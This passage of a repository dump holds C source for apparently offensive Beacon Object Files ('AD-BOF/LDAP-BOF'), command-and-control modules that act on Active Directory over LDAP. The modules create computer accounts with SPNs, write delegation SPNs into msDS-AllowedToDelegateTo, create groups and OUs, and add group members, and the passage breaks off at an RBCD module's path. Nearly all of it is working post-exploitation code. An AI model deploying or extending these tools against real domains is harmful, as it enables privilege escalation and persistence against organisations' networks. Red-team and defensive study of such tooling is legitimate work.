MSVCRT$_snprintf(computerDN, sizeof(computerDN), \"CN=%s,CN=Computers,%s\", computername, defaultNC);\n        }\n    }\n    \n    // Build sAMAccountName (with $)\n    char samAccountName[256];\n    MSVCRT$_snprintf(samAccountName, sizeof(samAccountName), \"%s$\", computername);\n    \n    // Build dnsHostName\n    char dnsHostName[512];\n    MSVCRT$_snprintf(dnsHostName, sizeof(dnsHostName), \"%s.%s\", computername, domainName);\n    \n    // Build default SPNs\n    char spn1[256], spn2[256], spn3[256], spn4[256];\n    MSVCRT$_snprintf(spn1, sizeof(spn1), \"HOST/%s\", computername);\n    MSVCRT$_snprintf(spn2, sizeof(spn2), \"HOST/%s.%s\", computername, domainName);\n    MSVCRT$_snprintf(spn3, sizeof(spn3), \"RestrictedKrbHost/%s\", computername);\n    MSVCRT$_snprintf(spn4, sizeof(spn4), \"RestrictedKrbHost/%s.%s\", computername, domainName);\n    \n    // Prepare attributes\n    char* objectClass_values[] = { \"top\", \"person\", \"organizationalPerson\", \"user\", \"computer\", NULL };\n    LDAPModA objectClass_mod = { LDAP_MOD_ADD, \"objectClass\", { .modv_strvals = objectClass_values } };\n    \n    char* sam_values[] = { samAccountName, NULL };\n    LDAPModA sam_mod = { LDAP_MOD_ADD, \"sAMAccountName\", { .modv_strvals = sam_values } };\n    \n    char* dnsHostName_values[] = { dnsHostName, NULL };\n    LDAPModA dnsHostName_mod = { LDAP_MOD_ADD, \"dNSHostName\", { .modv_strvals = dnsHostName_values } };\n    \n    char* spn_values[] = { spn1, spn2, spn3, spn4, NULL };\n    LDAPModA spn_mod = { LDAP_MOD_ADD, \"servicePrincipalName\", { .modv_strvals = spn_values } };\n    \n    // userAccountControl: 4096 = WORKSTATION_TRUST_ACCOUNT (enabled)\n    //                     4098 = WORKSTATION_TRUST_ACCOUNT | ACCOUNTDISABLE (disabled)\n    char* uac_values[] = { disabled ? \"4098\" : \"4096\", NULL };\n    LDAPModA uac_mod = { LDAP_MOD_ADD, \"userAccountControl\", { .modv_strvals = uac_values } };\n    \n    // Password attribute (if provided)\n    LDAPModA password_mod;\n    BERVAL* encodedPassword = NULL;\n    BERVAL* password_bervals[2] = { NULL, NULL };\n    \n    if (password && MSVCRT$strlen(password) > 0) {\n        encodedPassword = EncodePassword(password);\n        if (encodedPassword) {\n            password_bervals[0] = encodedPassword;\n            password_mod.mod_op = LDAP_MOD_ADD | LDAP_MOD_BVALUES;\n            password_mod.mod_type = \"unicodePwd\";\n            password_mod.mod_vals.modv_bvals = password_bervals;\n        } else {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to encode password, continuing without password\");\n        }\n    }\n    \n    // Array of attribute modifications\n    LDAPModA* attrs[9];\n    int attrCount = 0;\n    attrs[attrCount++] = &objectClass_mod;\n    attrs[attrCount++] = &sam_mod;\n    attrs[attrCount++] = &dnsHostName_mod;\n    attrs[attrCount++] = &spn_mod;\n    attrs[attrCount++] = &uac_mod;\n    if (encodedPassword) {\n        attrs[attrCount++] = &password_mod;\n    }\n    attrs[attrCount] = NULL;\n    \n    // Add computer\n    ULONG result = WLDAP32$ldap_add_s(ld, computerDN, attrs);\n    \n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully created computer '%s'\", computername);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] DN: %s\", computerDN);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] sAMAccountName: %s\", samAccountName);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] dnsHostName: %s\", dnsHostName);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] SPNs: HOST/%s, HOST/%s, RestrictedKrbHost/%s, RestrictedKrbHost/%s\", \n                     computername, dnsHostName, computername, dnsHostName);\n        if (encodedPassword) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Password: Set successfully\");\n        }\n        if (disabled) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Account Status: DISABLED\");\n        }\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create computer\");\n        PrintLdapError(\"Add computer\", result);\n        if (result == LDAP_ALREADY_EXISTS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Computer already exists\");\n        } else if (result == LDAP_INSUFFICIENT_RIGHTS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Insufficient permissions\");\n        } else if (result == LDAP_INVALID_DN_SYNTAX) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Invalid DN syntax\");\n        } else if (result == LDAP_NO_SUCH_OBJECT) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Target OU does not exist\");\n        }\n    }\n    \n    // Cleanup\n    if (encodedPassword) {\n        MSVCRT$free(encodedPassword->bv_val);\n        MSVCRT$free(encodedPassword);\n    }\n    MSVCRT$free(defaultNC);\n    MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/add/add-delegation.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: target_identifier, is_dn, spn, search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* spn = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    if (!spn || MSVCRT$strlen(spn) == 0) {\n        return;\n    }\n\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Resolve target DN\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, targetIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Add delegation SPN to msDS-AllowedToDelegateTo\n    char* spn_values[] = { spn, NULL };\n    LDAPModA spn_mod;\n    spn_mod.mod_op = LDAP_MOD_ADD;\n    spn_mod.mod_type = \"msDS-AllowedToDelegateTo\";\n    spn_mod.mod_vals.modv_strvals = spn_values;\n\n    LDAPModA* mods[] = { &spn_mod, NULL };\n\n    ULONG result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n\n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully added delegation SPN '%s'\", spn);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Note: Ensure TRUSTED_TO_AUTH_FOR_DELEGATION UAC flag is set for constrained delegation\");\n    } else if (result == LDAP_ATTRIBUTE_OR_VALUE_EXISTS) {\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to add delegation SPN\");\n        PrintLdapError(\"Add delegation\", result);\n    }\n\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/add/add-group.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\n// Group type constants\n#define GROUP_TYPE_SECURITY_GLOBAL      -2147483646\n#define GROUP_TYPE_SECURITY_DOMAIN_LOCAL -2147483644\n#define GROUP_TYPE_SECURITY_UNIVERSAL   -2147483640\n#define GROUP_TYPE_DIST_GLOBAL          2\n#define GROUP_TYPE_DIST_DOMAIN_LOCAL    4\n#define GROUP_TYPE_DIST_UNIVERSAL       8\n\nint GetGroupType(const char* typeStr, const char* scopeStr) {\n    int isSecurity = 1;\n    if (typeStr && MSVCRT$strlen(typeStr) > 0) {\n        if (MSVCRT$strcmp(typeStr, \"distribution\") == 0 || MSVCRT$strcmp(typeStr, \"dist\") == 0) {\n            isSecurity = 0;\n        }\n    }\n    \n    if (scopeStr && MSVCRT$strlen(scopeStr) > 0) {\n        if (MSVCRT$strcmp(scopeStr, \"domainlocal\") == 0 || MSVCRT$strcmp(scopeStr, \"local\") == 0) {\n            return isSecurity ? GROUP_TYPE_SECURITY_DOMAIN_LOCAL : GROUP_TYPE_DIST_DOMAIN_LOCAL;\n        } else if (MSVCRT$strcmp(scopeStr, \"universal\") == 0) {\n            return isSecurity ? GROUP_TYPE_SECURITY_UNIVERSAL : GROUP_TYPE_DIST_UNIVERSAL;\n        }\n    }\n    \n    return isSecurity ? GROUP_TYPE_SECURITY_GLOBAL : GROUP_TYPE_DIST_GLOBAL;\n}\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    \n    // Parse arguments: groupname_or_dn, description, type, scope, ou_path, dc_address, use_ldaps\n    char* groupIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isGroupDN = BeaconDataInt(&parser);\n    char* description = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* type = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* scope = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* ouPath = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    \n    if (!groupIdentifier || MSVCRT$strlen(groupIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Group name or DN is required\");\n        return;\n    }\n    \n    int groupType = GetGroupType(type, scope);\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Group identifier: %s %s\", groupIdentifier, isGroupDN ? \"(DN)\" : \"(name)\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Group Type: %d\", groupType);\n    \n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n    \n    // Get default naming context - will build from hostname if possible\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n    \n    // Build group DN and extract groupname\n    char groupDN[512];\n    char groupname[256];\n    \n    if (isGroupDN) {\n        // Use provided DN directly\n        MSVCRT$_snprintf(groupDN, sizeof(groupDN), \"%s\", groupIdentifier);\n        \n        // Extract CN from DN for sAMAccountName\n        char* cnStart = MSVCRT$strstr(groupIdentifier, \"CN=\");\n        if (cnStart) {\n            cnStart += 3; // Skip \"CN=\"\n            char* cnEnd = MSVCRT$strstr(cnStart, \",\");\n            if (cnEnd) {\n                int cnLen = cnEnd - cnStart;\n                if (cnLen > 0 && cnLen < 256) {\n                    MSVCRT$memcpy(groupname, cnStart, cnLen);\n                    groupname[cnLen] = '\\0';\n                } else {\n                    MSVCRT$strcpy(groupname, cnStart);\n                }\n            } else {\n                MSVCRT$strcpy(groupname, cnStart);\n            }\n        } else {\n            // Fallback: use the entire identifier as groupname\n            MSVCRT$strcpy(groupname, groupIdentifier);\n        }\n    } else {\n        // Build DN using provided OU path or default Users container\n        MSVCRT$strcpy(groupname, groupIdentifier);\n        \n        if (ouPath && MSVCRT$strlen(ouPath) > 0) {\n            // Use provided OU path\n            MSVCRT$_snprintf(groupDN, sizeof(groupDN), \"CN=%s,%s\", groupname, ouPath);\n        } else {\n            // Use default Users container\n            MSVCRT$_snprintf(groupDN, sizeof(groupDN), \"CN=%s,CN=Users,%s\", groupname, defaultNC);\n        }\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] sAMAccountName: %s\", groupname);\n    \n    // Convert group type to string\n    char groupTypeStr[20];\n    MSVCRT$_snprintf(groupTypeStr, sizeof(groupTypeStr), \"%d\", groupType);\n    \n    // Prepare attributes\n    char* objectClass_values[] = { \"top\", \"group\", NULL };\n    LDAPModA objectClass_mod = { LDAP_MOD_ADD, \"objectClass\", { .modv_strvals = objectClass_values } };\n    \n    char* cn_values[] = { groupname, NULL };\n    LDAPModA cn_mod = { LDAP_MOD_ADD, \"cn\", { .modv_strvals = cn_values } };\n    \n    char* sam_values[] = { groupname, NULL };\n    LDAPModA sam_mod = { LDAP_MOD_ADD, \"sAMAccountName\", { .modv_strvals = sam_values } };\n    \n    char* groupType_values[] = { groupTypeStr, NULL };\n    LDAPModA groupType_mod = { LDAP_MOD_ADD, \"groupType\", { .modv_strvals = groupType_values } };\n    \n    LDAPModA desc_mod;\n    LDAPModA* attrs[6];\n    int attrCount = 0;\n    attrs[attrCount++] = &objectClass_mod;\n    attrs[attrCount++] = &cn_mod;\n    attrs[attrCount++] = &sam_mod;\n    attrs[attrCount++] = &groupType_mod;\n    \n    if (description && MSVCRT$strlen(description) > 0) {\n        char* desc_values[] = { description, NULL };\n        desc_mod.mod_op = LDAP_MOD_ADD;\n        desc_mod.mod_type = \"description\";\n        desc_mod.mod_vals.modv_strvals = desc_values;\n        attrs[attrCount++] = &desc_mod;\n    }\n    \n    attrs[attrCount] = NULL;\n    \n    // Add group\n    ULONG result = WLDAP32$ldap_add_s(ld, groupDN, attrs);\n    \n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully created group '%s'\", groupname);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] DN: %s\", groupDN);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] sAMAccountName: %s\", groupname);\n        \n        // Print group type details\n        const char* typeDesc = \"Unknown\";\n        switch(groupType) {\n            case GROUP_TYPE_SECURITY_GLOBAL:\n                typeDesc = \"Security - Global\";\n                break;\n            case GROUP_TYPE_SECURITY_DOMAIN_LOCAL:\n                typeDesc = \"Security - Domain Local\";\n                break;\n            case GROUP_TYPE_SECURITY_UNIVERSAL:\n                typeDesc = \"Security - Universal\";\n                break;\n            case GROUP_TYPE_DIST_GLOBAL:\n                typeDesc = \"Distribution - Global\";\n                break;\n            case GROUP_TYPE_DIST_DOMAIN_LOCAL:\n                typeDesc = \"Distribution - Domain Local\";\n                break;\n            case GROUP_TYPE_DIST_UNIVERSAL:\n                typeDesc = \"Distribution - Universal\";\n                break;\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Group Type: %s (%d)\", typeDesc, groupType);\n        \n        if (description && MSVCRT$strlen(description) > 0) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Description: %s\", description);\n        }\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create group\");\n        PrintLdapError(\"Add group\", result);\n        if (result == LDAP_ALREADY_EXISTS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Group already exists\");\n        } else if (result == LDAP_INSUFFICIENT_RIGHTS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Insufficient permissions\");\n        } else if (result == LDAP_INVALID_DN_SYNTAX) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Invalid DN syntax\");\n        } else if (result == LDAP_NO_SUCH_OBJECT) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Target OU does not exist\");\n        }\n    }\n    \n    // Cleanup\n    MSVCRT$free(defaultNC);\n    MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/add/add-groupmember.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    \n    // Parse arguments: group_identifier, is_group_dn, member_identifier, is_member_dn, \n    // search_ou, dc_address, use_ldaps\n    char* groupIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isGroupDN = BeaconDataInt(&parser);\n    char* memberIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isMemberDN = BeaconDataInt(&parser);\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    \n    if (!memberIdentifier || MSVCRT$strlen(memberIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Member identifier is required\");\n        return;\n    }\n    \n    if (!groupIdentifier || MSVCRT$strlen(groupIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Group identifier is required\");\n        return;\n    }\n    \n    \n    if (searchOu && MSVCRT$strlen(searchOu) > 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Search OU: %s\", searchOu);\n    }\n    \n    if (dcAddress && MSVCRT$strlen(dcAddress) > 0) {\n    }\n    \n    if (useLdaps) {\n    }\n    \n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n    \n    // Get default naming context (needed for searches if DN not provided)\n    char* defaultNC = NULL;\n    char* memberDN = NULL;\n    char* groupDN = NULL;\n    \n    if (!isMemberDN || !isGroupDN) {\n        \n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Resolve member DN\n    if (isMemberDN) {\n        // Member identifier is already a DN\n        size_t len = MSVCRT$strlen(memberIdentifier) + 1;\n        memberDN = (char*)MSVCRT$malloc(len);\n        if (memberDN) {\n            MSVCRT$strcpy(memberDN, memberIdentifier);\n        }\n    } else {\n        // Search for member by sAMAccountName\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        memberDN = FindObjectDN(ld, memberIdentifier, searchBase);\n        \n        if (!memberDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve member DN\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Member '%s' not found\", memberIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            CleanupLDAP(ld);\n            return;\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Member DN: %s\", memberDN);\n    }\n    \n    // Resolve group DN\n    if (isGroupDN) {\n        // Group identifier is already a DN\n        size_t len = MSVCRT$strlen(groupIdentifier) + 1;\n        groupDN = (char*)MSVCRT$malloc(len);\n        if (groupDN) {\n            MSVCRT$strcpy(groupDN, groupIdentifier);\n        }\n    } else {\n        // Search for group by sAMAccountName\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        groupDN = FindObjectDN(ld, groupIdentifier, searchBase);\n        \n        if (!groupDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve group DN\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Group '%s' not found\", groupIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            MSVCRT$free(memberDN);\n            CleanupLDAP(ld);\n            return;\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Group DN: %s\", groupDN);\n    }\n    \n    // Prepare LDAP modification to add member\n    char* member_values[] = { memberDN, NULL };\n    LDAPModA member_mod;\n    member_mod.mod_op = LDAP_MOD_ADD;\n    member_mod.mod_type = \"member\";\n    member_mod.mod_vals.modv_strvals = member_values;\n    \n    LDAPModA* mods[] = { &member_mod, NULL };\n    \n    // Apply the modification\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Adding member to group...\");\n    ULONG result = WLDAP32$ldap_modify_s(ld, groupDN, mods);\n    \n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully added member to group\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Member DN: %s\", memberDN);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Group DN: %s\", groupDN);\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to add member to group\");\n        PrintLdapError(\"Modify group\", result);\n        \n        // Provide helpful hints\n        if (result == LDAP_ALREADY_EXISTS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Member is already in the group\");\n        } else if (result == LDAP_INSUFFICIENT_RIGHTS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Insufficient permissions to modify group membership\");\n        } else if (result == LDAP_NO_SUCH_OBJECT) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Group or member object does not exist\");\n        } else if (result == LDAP_INVALID_DN_SYNTAX) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Invalid DN syntax\");\n        }\n    }\n    \n    // Cleanup\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    if (memberDN) MSVCRT$free(memberDN);\n    if (groupDN) MSVCRT$free(groupDN);\n    CleanupLDAP(ld);\n    \n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/add/add-ou.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    \n    // Parse arguments: ou_name_or_dn, is_dn, description, parent_ou, dc_address, use_ldaps\n    char* ouIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isOuDN = BeaconDataInt(&parser);\n    char* description = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* parentOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    \n    if (!ouIdentifier || MSVCRT$strlen(ouIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] OU name or DN is required\");\n        return;\n    }\n    \n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n    \n    // Get default naming context - will build from hostname if possible\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n    \n    // Build OU DN\n    char ouDN[512];\n    char ouName[256];\n    \n    if (isOuDN) {\n        // Use provided DN directly\n        MSVCRT$_snprintf(ouDN, sizeof(ouDN), \"%s\", ouIdentifier);\n        \n        // Extract OU name from DN for display\n        char* ouStart = MSVCRT$strstr(ouIdentifier, \"OU=\");\n        if (ouStart) {\n            ouStart += 3; // Skip \"OU=\"\n            char* ouEnd = MSVCRT$strstr(ouStart, \",\");\n            if (ouEnd) {\n                int ouLen = ouEnd - ouStart;\n                if (ouLen > 0 && ouLen < 256) {\n                    MSVCRT$memcpy(ouName, ouStart, ouLen);\n                    ouName[ouLen] = '\\0';\n                } else {\n                    MSVCRT$strcpy(ouName, ouStart);\n                }\n            } else {\n                MSVCRT$strcpy(ouName, ouStart);\n            }\n        } else {\n            // Fallback: use the entire identifier as name\n            MSVCRT$strcpy(ouName, ouIdentifier);\n        }\n    } else {\n        // Build DN using provided OU name and parent OU or default NC\n        MSVCRT$strcpy(ouName, ouIdentifier);\n        \n        if (parentOu && MSVCRT$strlen(parentOu) > 0) {\n            // Use provided parent OU\n            MSVCRT$_snprintf(ouDN, sizeof(ouDN), \"OU=%s,%s\", ouName, parentOu);\n        } else {\n            // Use domain root as parent\n            MSVCRT$_snprintf(ouDN, sizeof(ouDN), \"OU=%s,%s\", ouName, defaultNC);\n        }\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] OU name: %s\", ouName);\n    \n    // Prepare attributes for OU creation\n    char* objectClass_values[] = { \"top\", \"organizationalUnit\", NULL };\n    LDAPModA objectClass_mod = { LDAP_MOD_ADD, \"objectClass\", { .modv_strvals = objectClass_values } };\n    \n    char* ou_values[] = { ouName, NULL };\n    LDAPModA ou_mod = { LDAP_MOD_ADD, \"ou\", { .modv_strvals = ou_values } };\n    \n    // Optional description attribute\n    LDAPModA description_mod;\n    char* description_values[2] = { NULL, NULL };\n    \n    int attrCount = 2; // objectClass and ou\n    LDAPModA* attrs[4]; // objectClass, ou, optional description, NULL\n    \n    attrs[0] = &objectClass_mod;\n    attrs[1] = &ou_mod;\n    \n    if (description && MSVCRT$strlen(description) > 0) {\n        description_values[0] = description;\n        description_mod.mod_op = LDAP_MOD_ADD;\n        description_mod.mod_type = \"description\";\n        description_mod.mod_vals.modv_strvals = description_values;\n        attrs[attrCount++] = &description_mod;\n    }\n    \n    attrs[attrCount] = NULL;\n    \n    // Create the OU\n    ULONG result = WLDAP32$ldap_add_s(ld, ouDN, attrs);\n    \n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully created OU!\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] OU Name: %s\", ouName);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] DN: %s\", ouDN);\n        \n        if (description && MSVCRT$strlen(description) > 0) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Description: %s\", description);\n        }\n        \n        BeaconPrintf(CALLBACK_OUTPUT, \"\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] The OU can now be used to organize objects:\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*]   ldap add-user username password -ou \\\"%s\\\"\", ouDN);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*]   ldap add-computer computername -ou \\\"%s\\\"\", ouDN);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*]   ldap move-object object \\\"%s\\\"\", ouDN);\n        \n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create OU\");\n        PrintLdapError(\"Create OU\", result);\n        \n        if (result == LDAP_ALREADY_EXISTS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] OU already exists at this location\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] DN: %s\", ouDN);\n        } else if (result == LDAP_INSUFFICIENT_RIGHTS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Insufficient permissions to create OU\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Required permission: Create Organizational Unit objects\");\n        } else if (result == LDAP_INVALID_DN_SYNTAX) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Invalid DN syntax\");\n            if (parentOu && MSVCRT$strlen(parentOu) > 0) {\n                BeaconPrintf(CALLBACK_ERROR, \"[!] Check parent OU format: %s\", parentOu);\n            }\n        } else if (result == LDAP_NO_SUCH_OBJECT) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Parent container does not exist\");\n            if (parentOu && MSVCRT$strlen(parentOu) > 0) {\n                BeaconPrintf(CALLBACK_ERROR, \"[!] Parent OU: %s\", parentOu);\n            } else {\n                BeaconPrintf(CALLBACK_ERROR, \"[!] Domain root: %s\", defaultNC);\n            }\n        } else if (result == LDAP_CONSTRAINT_VIOLATION) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Constraint violation\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Possible causes:\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!]   - OU name contains invalid characters\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!]   - Parent container doesn't accept OUs\");\n        } else if (result == LDAP_OBJECT_CLASS_VIOLATION) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Object class violation\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Parent container may not accept organizational units\");\n        }\n    }\n    \n    // Cleanup\n    MSVCRT$free(defaultNC);\n    MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/add/add-rbcd.c",
